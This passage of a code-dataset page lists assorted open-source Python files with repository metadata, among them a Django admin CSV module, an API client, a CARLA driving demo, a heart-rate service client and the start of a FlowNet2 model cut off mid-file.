ytzi/the-stack-dedup-python-scored · Datasets at Hugging Face

a1d14e136fc6ab73bd62946ee36b52f8b5423c8b

1,001

py

Python

util/format_ldtk_battlers.py

Sipondo/ulix-dexflow

de46482fe08e3d600dd5da581f0524b55e5df961

[ "MIT" ]

5

2021-06-25T16:44:38.000Z

2021-12-31T01:29:00.000Z

util/format_ldtk_battlers.py

Sipondo/ulix-dexflow

de46482fe08e3d600dd5da581f0524b55e5df961

[ "MIT" ]

null

util/format_ldtk_battlers.py

Sipondo/ulix-dexflow

de46482fe08e3d600dd5da581f0524b55e5df961

[ "MIT" ]

1

2021-06-25T20:33:47.000Z

from pathlib import Path import os from PIL import Image, ImageFont, ImageDraw import numpy as np import pandas as pd from math import * p = Path("resources/graphics/Pokemon/Icons") df = pd.read_csv(Path("resources/PBS/compressed/pokemon.csv"), index_col=0) width = 64 height = ceil(len(df) / 64) canvas = Image.new("RGBA", (width, height), "#00000000") draw = ImageDraw.Draw(canvas) for i, row in df.iterrows(): try: img = ( Image.open(p / f"{row.internalname}.png") .convert("RGBA") .resize((64, 32), resample=Image.NEAREST) .crop((0, 0, 32, 32)) ) canvas.alpha_composite(img, ((i % 64) * 32, (i // 64) * 32)) except Exception as e: continue canvas.save(Path("resources/graphics/generated/battler_ldtk_list.png")) # for pth in p.glob("*.png"): # img = ( # Image.open(pth) # .convert("RGBA") # .resize((64, 32), resample=Image.NEAREST) # .crop((0, 0, 32, 32)) # )

25.025

75

0.592408

0

354

0.353646

a1d3d2bbc91fe562ff03d1024258dfe9a2092f42

4,237

py

Python

main/admin.py

japmeet01/fplmanager-website

c7a533f49acb04ee56876dff8759bb68468b0592

[ "MIT" ]

5

2020-02-07T23:24:05.000Z

2021-07-23T23:37:41.000Z

main/admin.py

japmeet01/fplmanager-website

c7a533f49acb04ee56876dff8759bb68468b0592

[ "MIT" ]

11

2020-01-13T10:02:33.000Z

2022-02-10T14:42:36.000Z

main/admin.py

japmeet01/fplmanager-website

c7a533f49acb04ee56876dff8759bb68468b0592

[ "MIT" ]

11

2020-02-07T23:24:09.000Z

2020-10-16T14:57:54.000Z

from django.contrib import admin from django.http import HttpResponse from django.urls import path from django.shortcuts import render, HttpResponse, redirect from django import forms import os import csv from io import TextIOWrapper, StringIO from .models import Player, Team, Usage, XgLookup class CsvImportForm(forms.Form): csv_file = forms.FileField() class NoLoggingMixin: def log_addition(self, *args): return def log_change(self, *args): return def log_deletion(self, *args): return class ExportCsvMixin: def export_as_csv(self, request, queryset): meta = self.model._meta field_names = [field.name for field in meta.fields] response = HttpResponse(content_type='text/csv') response['Content-Disposition'] = 'attachment; filename={}.csv'.format(meta) writer = csv.writer(response) writer.writerow(field_names) for obj in queryset: row = writer.writerow([getattr(obj, field) for field in field_names]) return response def export_delete_as_csv(self, request, queryset): meta = self.model._meta field_names = [field.name for field in meta.fields] response = HttpResponse(content_type='text/csv') response['Content-Disposition'] = 'attachment; filename={}.csv'.format(meta) writer = csv.writer(response) writer.writerow(field_names) for obj in queryset: row = writer.writerow([getattr(obj, field) for field in field_names]) obj.delete() return response export_as_csv.short_description = "Export Selected" export_delete_as_csv.short_description = "Export and Delete Selected" class UploadCsvMixin: def get_urls(self): urls = super().get_urls() my_urls = [ path('import-csv/', self.import_csv) ] return my_urls + urls def import_csv(self, request): if request.method == 'POST': csv_file = TextIOWrapper(request.FILES['csv_file'].file, encoding=request.encoding) extension = os.path.splitext(request.FILES['csv_file'].name)[1] if extension == '.csv': reader = csv.reader(csv_file) headers = next(reader) model_fields = [m.name for m in self.model._meta.fields if m.name != 'updated'] # if set(headers) == set(model_fields): input_data = [dict(zip(headers, row)) for row in reader] for i in input_data: t = self.model() [setattr(t, k, v) for k, v in i.items()] t.save() # else: # self.message_user(request, "Bad headers - unable to import selected file. Expected headers: '{expected}' Received headers: '{actual}'".format( # expected=model_fields, # actual=headers # ), level='ERROR') # return redirect("..") else: self.message_user(request, 'Incorrect file type', level='ERROR') return redirect('..') self.message_user(request, "Your csv file has been imported") return redirect("..") form = CsvImportForm() payload = {"form": form} return render( request, "custom_admin/csv_form.html", payload ) @admin.register(Player) class PlayerAdmin(NoLoggingMixin, ExportCsvMixin, admin.ModelAdmin): readonly_fields = ('updated',) actions = ['export_as_csv'] @admin.register(Team) class TeamAdmin(NoLoggingMixin, ExportCsvMixin, admin.ModelAdmin): readonly_fields = ('updated',) actions = ['export_as_csv'] @admin.register(Usage) class UsageAdmin(NoLoggingMixin, ExportCsvMixin, admin.ModelAdmin): readonly_fields = ('updated',) actions = ['export_as_csv', 'export_delete_as_csv'] @admin.register(XgLookup) class XgLookupAdmin(NoLoggingMixin, UploadCsvMixin, ExportCsvMixin, admin.ModelAdmin): change_list_template = 'custom_admin/models_changelist.html' readonly_fields = ('updated',) actions = ['export_as_csv']

31.619403

164

0.618126

3,829

0.903705

0

739

0.174416

0

777

0.183384

a1d4680a92b1711d0003c4bd4a72a28789727f68

221

py

Python

Muta3DMaps/core/__init__.py

NatureGeorge/SIFTS_Plus_Muta_Maps

60f84e6024508e65ee3791103762b95666d3c646

[ "MIT" ]

null

Muta3DMaps/core/__init__.py

NatureGeorge/SIFTS_Plus_Muta_Maps

60f84e6024508e65ee3791103762b95666d3c646

[ "MIT" ]

null

Muta3DMaps/core/__init__.py

NatureGeorge/SIFTS_Plus_Muta_Maps

60f84e6024508e65ee3791103762b95666d3c646

[ "MIT" ]

null

# @Created Date: 2019-11-24 09:07:07 pm # @Filename: __init__.py # @Email: 1730416009@stu.suda.edu.cn # @Author: ZeFeng Zhu # @Last Modified: 2019-12-23 04:23:51 pm # @Copyright (c) 2019 MinghuiGroup, Soochow University

31.571429

54

0.714932

0

215

0.972851

a1d5ed8760ff10427163bf99b2b4a26de7553293

3,217

py

Python

tests/test_utils/test_file.py

dcambie/spectrochempy

e376082d66be7a4c528b7d83be076d77534e39bd

[ "CECILL-B" ]

3

2021-04-09T09:13:21.000Z

2022-01-09T00:05:42.000Z

tests/test_utils/test_file.py

fernandezc/spectrochempy

4707c51dba0032c160afc40682fa16d4b9855ded

[ "CECILL-B" ]

null

tests/test_utils/test_file.py

fernandezc/spectrochempy

4707c51dba0032c160afc40682fa16d4b9855ded

[ "CECILL-B" ]

null

# -*- coding: utf-8 -*- # ===================================================================================================================== # Copyright (©) 2015-2021 LCS - Laboratoire Catalyse et Spectrochimie, Caen, France. = # CeCILL-B FREE SOFTWARE LICENSE AGREEMENT - See full LICENSE agreement in the root directory = # ===================================================================================================================== # # ====================================================================================================================== # Copyright (©) 2015-2021 LCS - Laboratoire Catalyse et Spectrochimie, Caen, France. = # CeCILL-B FREE SOFTWARE LICENSE AGREEMENT - See full LICENSE agreement in the root directory = # ====================================================================================================================== from pathlib import Path from os import environ from os.path import join import pytest from spectrochempy.core import preferences as prefs from spectrochempy import NO_DISPLAY from spectrochempy.utils import get_filename def test_get_filename(): # should read in the default prefs.datadir (and for testing we fix the name to environ['TEST_FILE'] f = get_filename(filetypes=["OMNIC files (*.spg *.spa *.srs)", "SpectroChemPy files (*.scp)"]) assert isinstance(f, dict) f = get_filename(filetypes=["OMNIC files (*.spg *.spa *.srs)", "SpectroChemPy files (*.scp)"], dictionary=False) assert isinstance(f, list) assert isinstance(f[0], Path) if NO_DISPLAY: assert str(f[0]) == join(prefs.datadir, environ['TEST_FILE']) # directory specified by a keyword as well as the filename f = get_filename("nh4y-activation.spg", directory="irdata") assert f == { '.spg': [Path(prefs.datadir) / 'irdata' / 'nh4y-activation.spg'] } # directory specified in the filename as a subpath of the data directory f = get_filename("irdata/nh4y-activation.spg") assert f == { '.spg': [Path(prefs.datadir) / 'irdata' / 'nh4y-activation.spg'] } # no directory specified (filename must be in the working or the default data directory f = get_filename("wodger.spg") # if it is not found an error is generated with pytest.raises(IOError): f = get_filename("nh4y-activation.spg") # directory is implicit (we get every files inside, with an allowed extension) # WARNING: Must end with a backslash f = get_filename("irdata/", filetypes=['OMNIC files (*.spa, *.spg)', 'OMNIC series (*.srs)', 'all files (*.*)'], listdir=True) if '.scp' in f.keys(): del f['.scp'] assert len(f.keys()) == 2 # should raise an error with pytest.raises(IOError): get_filename("~/xxxx", filetypes=["OMNIC files (*.sp*)", "SpectroChemPy files (*.scp)", "all files (*)"]) # EOF

42.893333

120

0.500155

0

1,944

0.603914

a1d778137bf41265c501edad6184cfc3fae9a1be

1,450

py

Python

toontown/safezone/ETreasurePlannerAI.py

SuperM0use24/TT-CL-Edition

fdad8394f0656ae122b687d603f72afafd220c65

[ "MIT" ]

null

toontown/safezone/ETreasurePlannerAI.py

SuperM0use24/TT-CL-Edition

fdad8394f0656ae122b687d603f72afafd220c65

[ "MIT" ]

1

2021-06-08T17:16:48.000Z

toontown/safezone/ETreasurePlannerAI.py

SuperM0use24/TT-CL-Edition

fdad8394f0656ae122b687d603f72afafd220c65

[ "MIT" ]

3

2021-06-03T05:36:36.000Z

2021-06-22T15:07:31.000Z

from toontown.safezone.DistributedETreasureAI import DistributedETreasureAI from toontown.safezone.RegenTreasurePlannerAI import RegenTreasurePlannerAI class ETreasurePlannerAI(RegenTreasurePlannerAI): def __init__(self, zoneId): self.healAmount = 2 self.spawnPoints = [] RegenTreasurePlannerAI.__init__(self, zoneId, DistributedETreasureAI, 'ETreasurePlanner', 15, 3) def initSpawnPoints(self): self.spawnPoints = [(19, -171, 0.0), (-3, -100, 3.66), (-4, -25, 7.0), (1.15, 64.89, 4.858), (-89, 43.4, 0.0), (-114, -5, 1.8), (-106, -98, 0.0), (-1, -61, 1.0), (130, 30, 0.0), (-21, -7, 7.0), (-27, 91, 0.0), (-57, 0, 2.7), (12, -128, -9.97), (-1.8, 103.4, -8.0), (-27.5, 6, -9.2), (-29.6, -34.4, -5.4), (-163.7, 13.8, 0.9), (1.3, -107, 7.9), (-87, -49, 0.05), (45, 2.6, 8.0)] return self.spawnPoints def validAvatar(self, av): return 0 < av.hp < av.maxHp

39.189189

104

0.37931

1,295

0.893103

0

18

0.012414

a1da8b92dc0cdcfd459c2434f84a887452586f81

2,204

py

Python

user_roles/role_add.py

PaloAltoNetworks/pcs-migration-management

766c8c861befa92e593b23ad6d248e33f62054bb

[ "ISC" ]

1

2022-03-17T12:51:45.000Z

user_roles/role_add.py

PaloAltoNetworks/pcs-migration-management

766c8c861befa92e593b23ad6d248e33f62054bb

[ "ISC" ]

2

2021-11-03T15:34:40.000Z

2021-12-14T19:50:20.000Z

user_roles/role_add.py

PaloAltoNetworks/pcs-migration-management

766c8c861befa92e593b23ad6d248e33f62054bb

[ "ISC" ]

4

2021-11-09T17:57:01.000Z

2022-01-24T17:41:21.000Z

from sdk.color_print import c_print from user_roles import role_translate_id from tqdm import tqdm def add_roles(session, old_session, roles, logger): added = 0 tenant_name = session.tenant if roles: logger.info(f'Adding User Roles to tenant: \'{tenant_name}\'') #Translate Acc Grp IDs logger.debug('API - Getting source Account Groups') src_acc_grps = old_session.request('GET', '/cloud/group').json() logger.debug('API - Getting destination Account Groups') dest_acc_grps = session.request('GET', '/cloud/group').json() #Translate Resource List IDs logger.debug('API - Getting source Resource Lists') src_rsc_lists = old_session.request('GET', '/v1/resource_list').json() logger.debug('API - Getting destination Resource Lists') dest_rsc_lists = session.request('GET', '/v1/resource_list').json() for role in tqdm(roles, desc='Adding User Roles', leave=False): #Translate Acc Grp IDs if 'accountGroupIds' in role: new_ids = [] for index in range(len(role['accountGroupIds'])): old_id = role['accountGroupIds'][index] new_id = role_translate_id.translate_acc_grp_ids(old_id, dest_acc_grps, src_acc_grps) new_ids.append(new_id) role.update(accountGroupIds=new_ids) #Translate resource List IDS if 'resourceListIds' in role: new_ids = [] for index in range(len(role['resourceListIds'])): old_id = role['resourceListIds'][index] new_id = role_translate_id.translate_rsc_list_ids(old_id, dest_rsc_lists, src_rsc_lists) new_ids.append(new_id) role.update(resourceListIds=new_ids) name = role['name'] logger.debug(f'API - Adding role: {name}') res = session.request('POST', '/user/role', json=role) if res.status_code == 200 or res.status_code == 201: added += 1 else: logger.info(f'No User Roles to add for tenant: \'{tenant_name}\'') return added

42.384615

108

0.606624

0

619

0.280853

a1dabed16e80b17dead966e6cd7f52d07e673b7f

6,641

py

Python

Apps/phdigitalshadows/dsapi/service/ds_base_service.py

ryanbsaunders/phantom-apps

1befda793a08d366fbd443894f993efb1baf9635

[ "Apache-2.0" ]

74

2019-10-22T02:00:53.000Z

2022-03-15T12:56:13.000Z

Apps/phdigitalshadows/dsapi/service/ds_base_service.py

ryanbsaunders/phantom-apps

1befda793a08d366fbd443894f993efb1baf9635

[ "Apache-2.0" ]

375

2019-10-22T20:53:50.000Z

2021-11-09T21:28:43.000Z

Apps/phdigitalshadows/dsapi/service/ds_base_service.py

ryanbsaunders/phantom-apps

1befda793a08d366fbd443894f993efb1baf9635

[ "Apache-2.0" ]

175

2019-10-23T15:30:42.000Z

2021-11-05T21:33:31.000Z

# File: ds_base_service.py # # Licensed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0.txt) # import json import time import base64 from functools import wraps from ..config import ds_api_host, ds_api_base from .ds_abstract_service import DSAbstractService class DSBaseService(DSAbstractService): """ Base Service that implements common operations for all DS services. """ def __init__(self, ds_api_key, ds_api_secret_key, proxy=None): super(DSBaseService, self).__init__(proxy=proxy) data_string = str(ds_api_key) + ":" + str(ds_api_secret_key) data_bytes = data_string.encode("ascii") data_bytes = base64.b64encode(data_bytes) self._hash = data_bytes.decode("ascii") self._url_base = '{}{}'.format(ds_api_host, ds_api_base) def _headers(self, with_content_type=True): headers = { 'Authorization': 'Basic {}'.format(self._hash), } if with_content_type: headers['Content-Type'] = 'application/json' return headers def _request(self, path, method='GET', body=None, headers=None): """ Send a request to the Digital Shadows API. :param path: API endpoint path, does not require host. eg. /api/session-user :param method: :param body: :param headers: :return: tuple(response, content) """ url = '{}{}'.format(self._url_base, path) headers = self._headers() if headers is None else headers response, content = super(DSBaseService, self)._request(url, method=method, body=str(body).replace("'", '"'), headers=headers) if int(response['status']) == 200: return json.loads(content) else: raise RuntimeError('{} responded with status code {}'.format(url, response['status'])) def _request_post(self, path, method='POST', body=None, headers=None): """ Send a request to the Digital Shadows API. :param path: API endpoint path, does not require host. eg. /api/session-user :param method: :param body: :param headers: :return: tuple(response, content) """ url = '{}{}'.format(self._url_base, path) headers = self._headers() if headers is None else headers response, content = super(DSBaseService, self)._request(url, method=method, body=str(body).replace("'", '"'), headers=headers) if int(response['status']) in (200, 204): if content != "": res_text = json.loads(content) else: res_text = "" post_response = { 'status': response['status'], 'message': 'SUCCESS', 'content': [] } post_response['content'].append(res_text) return post_response else: raise RuntimeError('{} responded with status code {}'.format(url, response['status'])) def _scrolling_request(self, path, method='GET', body=None, headers=None): """ Scrolls through a paginated response from the Digital Shadows API. :param path: API endpoint path, does not require host. eg. /api/session-user :param method: :param body: View object - requires pagination field, see DSBaseService.paginated decorator :return: tuple(response, content) """ assert 'pagination' in body paginated_view = body url = '{}{}'.format(self._url_base, path) headers = self._headers() if headers is None else headers scrolling = True while scrolling: response, content = super(DSBaseService, self)._request(url, method, body=str(paginated_view).replace("'", '"'), headers=headers) if int(response['status']) == 200: data = json.loads(content) offset = data['currentPage']['offset'] size = data['currentPage']['size'] total = data['total'] if offset + size < total: paginated_view['pagination']['offset'] = offset + size else: scrolling = False yield data elif int(response['status']) == 429: # rate limited, wait before resuming scroll requests time.sleep(1) else: scrolling = False def valid_credentials(self): """ Checks if the provided Digital Shadows credentials are valid. :return: bool """ path = '/api/session-user' url = '{}{}'.format(self._url_base, path) response, content = super(DSBaseService, self)._request(url, headers=self._headers(with_content_type=False)) return int(response['status']) == 200 @staticmethod def paginated(offset=0, size=500): def paginated_decorator(view_function): @wraps(view_function) def view_wrapper(*args, **kwargs): pagination = { 'pagination': { 'offset': offset, 'size': size } } view = view_function(*args, **kwargs) pagination.update(view) return pagination return view_wrapper return paginated_decorator @staticmethod def sorted(sort_property, reverse=False): def sorted_decorator(view_function): @wraps(view_function) def view_wrapper(*args, **kwargs): sort = { 'sort': { 'property': sort_property, 'direction': "ASCENDING" if reverse else "DESCENDING" } } view = view_function(*args, **kwargs) sort.update(view) return sort return view_wrapper return sorted_decorator

38.166667

111

0.511971

6,362

0.957988

1,642

0.247252

1,151

0.173317

0

1,705

0.256738

a1dac102f27e519bf75cf582e4948e7c1ea1984f

4,216

py

Python

examples/motion_planning.py

luisgaboardi/Motion-Planning-Carla-Simulator

4270fd3b7e488876a8ac249c217a7fb219e8d27b

[ "MIT" ]

null

examples/motion_planning.py

luisgaboardi/Motion-Planning-Carla-Simulator

4270fd3b7e488876a8ac249c217a7fb219e8d27b

[ "MIT" ]

4

2021-05-13T11:33:06.000Z

2022-02-08T06:26:55.000Z

examples/motion_planning.py

luisgaboardi/Motion-Planning-Carla-Simulator

4270fd3b7e488876a8ac249c217a7fb219e8d27b

[ "MIT" ]

null

# Imports para o Carla import glob import os import sys try: sys.path.append(glob.glob('../carla/dist/carla-*%d.%d-%s.egg' % ( sys.version_info.major, sys.version_info.minor, 'win-amd64' if os.name == 'nt' else 'linux-x86_64'))[0]) except IndexError: pass import carla try: sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + '/carla') except IndexError: pass from agents.navigation.unb_agent import Agent """ Esse script consiste na implementação de alguns módulos de veículos autônomos: - Controladores PID para controle longitudinal e lateral - Alteração de rota dinamicamente mediante tratamento de sinal de um sensor de obstáculo posicionado na frente do véiculo. Com isso, o veículo sai de um ponto inicial, desvia de dois obstáculos mudando de faixa e detectando um semáforo vermelho, para antes do cruzamento """ def main(): actor_list = [] try: # Conecta cliente à simulação client = carla.Client('localhost', 2000) client.set_timeout(10.0) # Configura a simulação através do cliente world = client.get_world() _map = world.get_map() settings = world.get_settings() """ No modo síncrono configurado abaixo, o servidor espera um "tick" do cliente, que é uma mensagem de "pronto para prosseguir", antes de atualizar para o próximo passo da simulação. Na prática, isso significa que a simulação espera os cálculos realizados pelo cliente para prosseguir. """ settings.synchronous_mode = True """ A configuração abaixo permite a definição de um intervalo fixo entre os "passos" da simulação. Se setado para 0.022, acontecerão aproximadamente 45 frames por segundo simulado """ settings.fixed_delta_seconds = 0.022 world.apply_settings(settings) # Spawn do ego veículo e escolha do ponto de destino blueprint_library = world.get_blueprint_library() vehicle_bp = blueprint_library.filter('bmw')[0] spawn_point = _map.get_spawn_points()[64] destination_point = _map.get_spawn_points()[31] vehicle = world.spawn_actor(vehicle_bp, spawn_point) actor_list.append(vehicle) world.tick() # Spawn primeiro obstáculo obstacle_bp = blueprint_library.filter('vehicle.audi.a2')[0] obstacle_spawn_point = _map.get_spawn_points()[62] obstacle = world.spawn_actor(obstacle_bp, obstacle_spawn_point) actor_list.append(obstacle) # Spawn segundo obstáculo obstacle_spawn_point = carla.Transform(carla.Location(x=-88.056326, y=-48.930733, z=0.930733), carla.Rotation(pitch=0.000000, yaw=89.787674, roll=0.000000)) obstacle2 = world.spawn_actor(obstacle_bp, obstacle_spawn_point) actor_list.append(obstacle2) world.tick() # Cria agente e o vincula ao ego veículo agent = Agent(vehicle, ignore_traffic_light=False) actor_list.append(agent._camera) actor_list.append(agent.obstacle_sensor) # Gera rota agent.set_route(spawn_point.location, destination_point.location) # Gameloop while not agent.arrived(): world.tick() world.get_spectator().set_transform(agent._camera.get_transform()) # Gera o comando de controle ao veículo control = agent.run_step(speed=(vehicle.get_speed_limit())) or agent.emergency_stop() vehicle.apply_control(control) # Visualização da rota agent.show_path(distance=int(agent.get_speed(vehicle)/2)) finally: print("Destino alcançado!") print('Destruindo Atores') # Parar sensores ativos pois eles não param automaticamente ao fim da execução agent.obstacle_sensor.stop() client.apply_batch([carla.command.DestroyActor(x) for x in actor_list]) print('Done.') world.tick() # Desabilita modo síncrono para permitir movimentação da tela settings.synchronous_mode = False world.apply_settings(settings) if __name__ == '__main__': main()

36.344828

164

0.671015

0

1,645

0.385788

a1dad65039164684afc4c0a9e16a88052f3e201e

5,705

py

Python

hr_api.py

AznStevy/heart_rate_sentinel_server

e241ee705221be643a3c3773a2e5ed9c129c733f

[ "MIT" ]

null

hr_api.py

AznStevy/heart_rate_sentinel_server

e241ee705221be643a3c3773a2e5ed9c129c733f

[ "MIT" ]

4

2018-11-13T20:44:50.000Z

2018-11-16T19:47:09.000Z

hr_api.py

AznStevy/heart_rate_sentinel_server

e241ee705221be643a3c3773a2e5ed9c129c733f

[ "MIT" ]

null

import json import requests post_url = "http://127.0.0.1:5000/api/" # ---------- general web interfacing ---------------------- def post(endpoint, payload, uri="http://127.0.0.1:5000/api/"): """ Posts to the flask web server. Args: endpoint: The endpoint of the API payload: Payload according to what the web server requires. uri: Web server uri. Returns: object: Response from web server. """ return requests.post(uri + endpoint, json=payload) def get(endpoint, uri="http://127.0.0.1:5000/api/"): """ Gets from the flask web server. Args: endpoint: The endpoint of the API uri: Web server uri. Returns: object: Response from web server. """ return requests.get(uri + endpoint) # ---------- API ---------------------- def get_all_patients(): """ Obtains a list of all patients in the database. (For testing) Returns: dict: All patients currently in database referenced by ID. """ resp = get("all_patients") return byte_2_json(resp) def add_new_patient(patient_id: str, attending_email: str, user_age: int): """ Adds new patient to the database. Args: patient_id: ID of the patient. attending_email: Email of the user user_age: Age of the user. Returns: dict: Patient that added. """ payload = { "patient_id": patient_id, "attending_email": attending_email, "user_age": user_age } resp = post("new_patient", payload) return byte_2_json(resp) def get_interval_average(patient_id: str, timestamp: str): """ Gets the average heart rate from before a timestamp. Args: patient_id: ID of the patient. timestamp: timestamp in form YYYY-MM-DD HH:MM:SS.####### Returns: float: Average heart rate from before the timestamp. """ payload = { "patient_id": patient_id, "heart_rate_average_since": timestamp, } resp = post("heart_rate/interval_average", payload) return byte_2_json(resp) def post_heart_rate(patient_id: str, heart_rate: int): """ Posts a heart rate to a patient. Timestamp automatically generated. Args: patient_id: ID of the patient. heart_rate: Heart rate to post. Returns: dict: Updated patient information. """ payload = { "patient_id": patient_id, "heart_rate": heart_rate, } resp = post("heart_rate", payload) return byte_2_json(resp) def get_patient_status(patient_id: str): """ Obtains patient status. Sends email if tachychardic. Args: patient_id: ID of the patient. Returns: tuple: first is if tachychardic, second is timestamp. """ resp = get("status/{}".format(patient_id)) return byte_2_json(resp) def get_heart_rate(patient_id: str): """ Obtains all heart rates from the Args: patient_id: ID of the patient. Returns: list: List of all heart rates from the patient. """ resp = get("heart_rate/{}".format(patient_id)) return byte_2_json(resp) def get_heart_rate_average(patient_id: str): """ Obtains an average heart rate of the patient. Args: patient_id: ID of the patient. Returns: float: Average heart rate of the patient. """ resp = get("heart_rate/average/{}".format(patient_id)) return byte_2_json(resp) def byte_2_json(resp): """ Converts bytes to json. Raises exception if necessary. Args: resp (bytes): Response from request. Returns: dict: Json object of interest. """ json_resp = json.loads(resp.content.decode('utf-8')) json_resp = error_catcher(json_resp) return json_resp def error_catcher(json_resp: dict): """ Raises appropriate exceptions from the web server. Args: json_resp: Information from the server. Returns: dict: The original dictionary if not error. """ if type(json_resp) == dict and "error_type" in json_resp.keys(): if "TypeError" in json_resp["error_type"]: raise TypeError(json_resp["msg"]) if "AttributeError" in json_resp["error_type"]: raise AttributeError(json_resp["msg"]) if "ValueError" in json_resp["error_type"]: raise ValueError(json_resp["msg"]) return json_resp if __name__ == "__main__": from random import choice from string import ascii_uppercase p_id = ''.join(choice(ascii_uppercase) for _ in range(10)) print(p_id) r = add_new_patient(p_id, "szx2@duke.edu", 21) print(r) r = post_heart_rate(p_id, 80) print("Posted: ", r) hr = get_heart_rate(p_id) print("All Heartrates:", hr) r = post_heart_rate(p_id, 90) print("Posted: ", r) av = get_heart_rate_average(p_id) print("Average: ", av) hr = get_heart_rate(p_id) print("All Heartrates:", hr) curr_status, timestamp = get_patient_status(p_id) print("Current Status 1 (False/Not Tach): ", curr_status, "Timestamp: ", timestamp) int_avg = get_interval_average(p_id, timestamp) print("Interval Average (should be 85):", int_avg) r = post_heart_rate(p_id, 100) print("Posted: ", r) hr = get_heart_rate(p_id) print("All Heartrates:", hr) r = post_heart_rate(p_id, 110) curr_status, _ = get_patient_status(p_id) print("Current Status 2 (True/Tach + sends email): ", curr_status, "Timestamp: ", timestamp) av = get_heart_rate_average(p_id) print("Average (95): ", av) int_avg = get_interval_average(p_id, timestamp) print("Interval Average (should be 85):", int_avg)

26.169725

96

0.632954

0

3,032

0.531464

a1dba833aadc169502823d1b0bf416f69fbfd572

1,845

py

Python

upload/tasks/import_gene_list_task.py

SACGF/variantgrid

515195e2f03a0da3a3e5f2919d8e0431babfd9c9

[ "RSA-MD" ]

5

2021-01-14T03:34:42.000Z

2022-03-07T15:34:18.000Z

upload/tasks/import_gene_list_task.py

SACGF/variantgrid

515195e2f03a0da3a3e5f2919d8e0431babfd9c9

[ "RSA-MD" ]

551

2020-10-19T00:02:38.000Z

2022-03-30T02:18:22.000Z

upload/tasks/import_gene_list_task.py

SACGF/variantgrid

515195e2f03a0da3a3e5f2919d8e0431babfd9c9

[ "RSA-MD" ]

null

from genes.gene_matching import tokenize_gene_symbols, GeneSymbolMatcher from genes.models import GeneList from snpdb.models import ImportStatus from upload.models import UploadedGeneList from upload.tasks.import_task import ImportTask from variantgrid.celery import app def create_gene_list(user, category, name, gene_names_set, modification_info=None, gene_matcher=None): if gene_matcher is None: gene_matcher = GeneSymbolMatcher() gene_list = GeneList(category=category, name=name, user=user, import_status=ImportStatus.IMPORTING) gene_list.save() if gene_names_set: gene_matcher.create_gene_list_gene_symbols(gene_list, gene_names_set, modification_info) gene_list.import_status = ImportStatus.SUCCESS gene_list.save() return gene_list class ImportGeneListTask(ImportTask): MIN_GENES_TO_USE_CACHING_GENE_MATCHER = 10 def process_items(self, uploaded_file): uploaded_gene_list, _ = UploadedGeneList.objects.get_or_create(uploaded_file=uploaded_file) with open(uploaded_file.get_filename()) as f: gene_list_data = f.read() gene_names_set = tokenize_gene_symbols(gene_list_data) if len(gene_names_set) > self.MIN_GENES_TO_USE_CACHING_GENE_MATCHER: gene_matcher = GeneSymbolMatcher() else: gene_matcher = None modification_info = "From uploaded gene_list: %s" % uploaded_file.get_filename() gene_list = create_gene_list(uploaded_file.user, None, uploaded_file.name, gene_names_set, modification_info, gene_matcher=gene_matcher) uploaded_gene_list.gene_list = gene_list uploaded_gene_list.save() return gene_list.genelistgenesymbol_set.count() ImportGeneListTask = app.register_task(ImportGeneListTask()) # @UndefinedVariable

37.653061

117

0.750678

968

0.524661

0

49

0.026558

a1dd42d9f4784232b6f6958623ffb26f5fc9185f

467

py

Python

Covid Dashboard/loadconfig.py

jamespilcher/daily-covid-dashboard

4f71eba2216dcda4b577baeb37a97a3abf4fe1bd

[ "MIT" ]

null

Covid Dashboard/loadconfig.py

jamespilcher/daily-covid-dashboard

4f71eba2216dcda4b577baeb37a97a3abf4fe1bd

[ "MIT" ]

null

Covid Dashboard/loadconfig.py

jamespilcher/daily-covid-dashboard

4f71eba2216dcda4b577baeb37a97a3abf4fe1bd

[ "MIT" ]

null

"""Loads the config.json file and store key value pairs into variables""" import json with open('config.json', 'r', encoding='utf-8') as f: config = json.load(f) config_location_type = config['location_type'] config_location = config['location'] country = config['country'] config_covid_terms = config['covid_terms'] newsAPI_key = config['newsAPI_key'] news_outlet_websites = config['news_outlet_websites'] webpage_url = config["local_host_url"]

31.133333

74

0.734475

0

194

0.415418

a1de14ec6277bfec1f83bc1158b25a9e6f73c868

65

py

Python

autoprotocol/version.py

kevin-ss-kim/autoprotocol-python

f55818e31b5c49bc093291f3ecc452f2b061e0a9

[ "BSD-3-Clause" ]

null

autoprotocol/version.py

kevin-ss-kim/autoprotocol-python

f55818e31b5c49bc093291f3ecc452f2b061e0a9

[ "BSD-3-Clause" ]

null

autoprotocol/version.py

kevin-ss-kim/autoprotocol-python

f55818e31b5c49bc093291f3ecc452f2b061e0a9

[ "BSD-3-Clause" ]

null

"""Maintains current version of package""" __version__ = "6.1.2"

21.666667

42

0.707692

0

49

0.753846

a1df17bbb39f33b932712fb69914ace1053665c5

51,350

py

Python

models/flownet2.py

D-Nilsson/GRFP

539fe2a9ecbd5daf60e20ce56af872d90ba60a4b

[ "MIT" ]

58

2018-06-13T13:58:51.000Z

2022-03-08T03:07:10.000Z

models/flownet2.py

yyyyqy/GRFP

539fe2a9ecbd5daf60e20ce56af872d90ba60a4b

[ "MIT" ]

13

2018-07-10T07:50:54.000Z

2021-06-09T17:55:16.000Z

models/flownet2.py

yyyyqy/GRFP

539fe2a9ecbd5daf60e20ce56af872d90ba60a4b

[ "MIT" ]

11

2018-06-13T17:00:42.000Z

2022-03-01T03:15:24.000Z

import glob, os import numpy as np import tensorflow as tf import tensorflow.contrib.graph_editor as ge class Flownet2: def __init__(self, bilinear_warping_module): self.weights = dict() for key, shape in self.all_variables(): self.weights[key] = tf.get_variable(key, shape=shape) self.bilinear_warping_module = bilinear_warping_module def leaky_relu(self, x, s): assert s > 0 and s < 1, "Wrong s" return tf.maximum(x, s*x) def warp(self, x, flow): return self.bilinear_warping_module.bilinear_warping(x, tf.stack([flow[:,:,:,1], flow[:,:,:,0]], axis=3)) # flip true -> [:,:,:,0] y axis downwards # [:,:,:,1] x axis # as in matrix indexing # # false returns 0->x, 1->y def __call__(self, im0, im1, flip=True): f = self.get_blobs(im0, im1)['predict_flow_final'] if flip: f = tf.stack([f[:,:,:,1], f[:,:,:,0]], axis=3) return f def get_optimizer(self, flow, target, learning_rate=1e-4): #flow = self.__call__(im0, im1) loss = tf.reduce_sum(flow * target) # target holding the gradients! opt = tf.train.AdamOptimizer(learning_rate=learning_rate, beta1=0.95, beta2=0.99, epsilon=1e-8) opt = opt.minimize(loss, var_list= # [v for k,v in self.weights.iteritems() if (k.startswith('net3_') or k.startswith('netsd_') or 